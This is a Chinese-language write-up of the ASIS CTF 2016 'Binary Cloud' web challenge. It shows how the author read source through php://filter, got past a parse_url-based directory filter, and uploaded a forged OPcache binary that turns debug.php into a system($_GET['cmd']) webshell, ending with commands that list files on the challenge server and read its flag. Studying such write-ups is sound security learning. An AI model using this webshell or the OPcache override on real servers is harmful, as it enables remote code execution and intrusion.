上周的asis2016比赛中,有个很特别的题目叫Binary Cloud,而getshell的方法是前段时间的才爆出来的Binary Webshell Through OPcache in PHP 7,在实战环境中比较有趣~(~ ̄▽ ̄)~
题目实际没做出来当时,后来看了ctftime的wphttp://corb3nik.github.io/asis%202016/Binary-Cloud/
收集信息 首先发现存在
1 2 3 4 5 User-Agent: * Disallow: / Disallow: /debug.php Disallow: /cache Disallow: /uploads
打开看到/uploads和/cache会爆forbidden,在debug页面我们发现了phpinfo()
我们可以看到php版本是php7.0.4
根据上面得到的信息,我们猜测OPcache是被允许的,而OPcache对应的位置就是robots.txt上对应的/cache
1 opcache.file_cache=/home/ binarycloud/www/ cache
再翻翻看站内发现存在文件上传和文件包含,甚至可以通过文件包含来读取文件的源码http://binarycloud.asis-ctf.ir?page=php://filter/convert.base64-encode/resource=upload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php function ew($haystack, $needle) { return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false); } function filter_directory(){ $data = parse_url($_SERVER['REQUEST_URI']); $filter = ["cache", "binarycloud"]; foreach($filter as $f){ if(preg_match("/".$f."/i", $data['query'])){ die("Attack Detected"); } } } function error($msg){ die("<script>alert('$msg');history.go(-1);</script>"); } filter_directory(); if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){ if(!file_exists($_SERVER['QUERY_STRING'])) error("error3"); $name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name'])); if(ew($name, ".php")) error("error"); $filename = $_SERVER['QUERY_STRING'] . "/" . $name; if(file_exists($filename)) error("exists"); if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){ die("uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>"); }else{ error("error"); } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php define("__INTERNAL__", "TRUE"); if(debug_backtrace()) goto pitfall; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>BinaryCloud — Upload your files, except PHP scripts!</title> <link href="//netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet"> </head> <body> <header class="navbar navbar-default navbar-fixed-top" role="banner"> <div class="header container"> <div class="navbar-header"> <button class="navbar-toggle" type="button" data-toggle="collapse" data-target=".navbar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a href="/" class="navbar-brand">BinaryCloud</a> </div> <nav class="collapse navbar-collapse" role="navigation"> <ul class="nav navbar-nav"> <li><a href="?page=upload">Upload</a></li> </ul> </nav> </div> </header> <div style="margin-bottom:30px;"></div> <div class="container"> <?php $filter = ["compress.zlib", "glob", "data", "http", "ftp", "phar"]; foreach($filter as $f){ stream_wrapper_unregister($f); } if(!$_GET) $_GET = Array("page" => NULL); $page = ($_GET['page'] ? $_GET['page'] : "home"); @include($page . ".php"); ?> </div> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js" type='text/javascript'></script> </body> </html> <?php pitfall: ?>
仔细阅读下源码,可以的到一些信息 1、首先我们发现我们无法上传.php文件,在包含时会自动补上.php 2、我们不能包含带有cache或者binaryload的链接 3、我们上传的文件名字会经过preg_replace()和basename()
结合前面的信息我们想到了我们可以通过注入.php.bin
这样的方式getshell,也就是前面提到的Binary Webshell Through OPcache in PHP 7
bypass目录过滤 在upload.php我们看到
1 2 3 4 5 6 7 8 9 function filter_directory () { $data = parse_url($_SERVER['REQUEST_URI' ]); $filter = ["cache" , "binarycloud" ]; foreach ($filter as $f){ if (preg_match("/" .$f."/i" , $data['query' ])){ die ("Attack Detected" ); } } }
发现一个特殊的是parse_url($_SERVER['REQUEST_URI'])
这里也是没见过的黑科技 老外是这么说的This function can be bypassed though, as parse_url takes a URL as a parameter. It does not deal well with URIs. 通过parse_url获取URL的参数有一点儿问题,他并不能很好的处理,如果我们传入的是///upload.php?cache 这样的地址,然后parse_url()处理URL会返回false,那么后面的preg_match就不会匹配到任何字符串了。
通过Binary Webshell Through OPcache in PHP 7 getshell 首先原理我们需要先了解一下http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/ wooyun有翻译的文章http://drops.wooyun.org/web/15450
而现在我们的目标是通过重写debug.php、upload.php、index.php的缓存。
首先我们需要生成一个debug.php.bin,就是下面这个文件的编译版
1 2 3 <?php system($_GET['cmd' ]); ?>
根据文章我们还需要计算出system_id 这个不错的脚本是https://github.com/GoSecure/php7-opcache-override
1 2 3 4 5 6 7 $ ./system_id_ scraper.py https://binarycloud.asis-ctf.ir/debug.php PHP version : 7.0.4-7ubuntu2 Zend Extension ID : API320151012,NTS Zend Bin ID : BIN_SIZEOF_ CHAR48888 Assuming x86_64 architecture ------------ System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea
需要跑一下phpinfo()
的页面
然后我们在本地生成恶意的debug.php.bin
文件,首先是用十六进制编辑器修改文件开头的systemid,上传 需要注意的是debug.php.bin的路径
1 [cache location ][system id ][document root ][debug.php.bin ]
在这里的题目就是
1 cache/81d80d78c6ef96b89afaadc7ffc5d7ea/ home/banarycloud/ www
之后我们访问https://binarycloud.asis-ctf.ir/debug.php
就是我们的webshell了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 wget -qO- https: //binarycloud.asis-ctf.ir/debug .php?cmd="ls /" WH4T_1S_7H3_FL4G bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old
1 2 $ wget -qO- https://binarycloud.asis-ctf.ir/debug.php?cmd ="cat /WH4T_1S_7H3_FL4G" ASIS{5 e00f204374f9ce481acc97294eda1f0}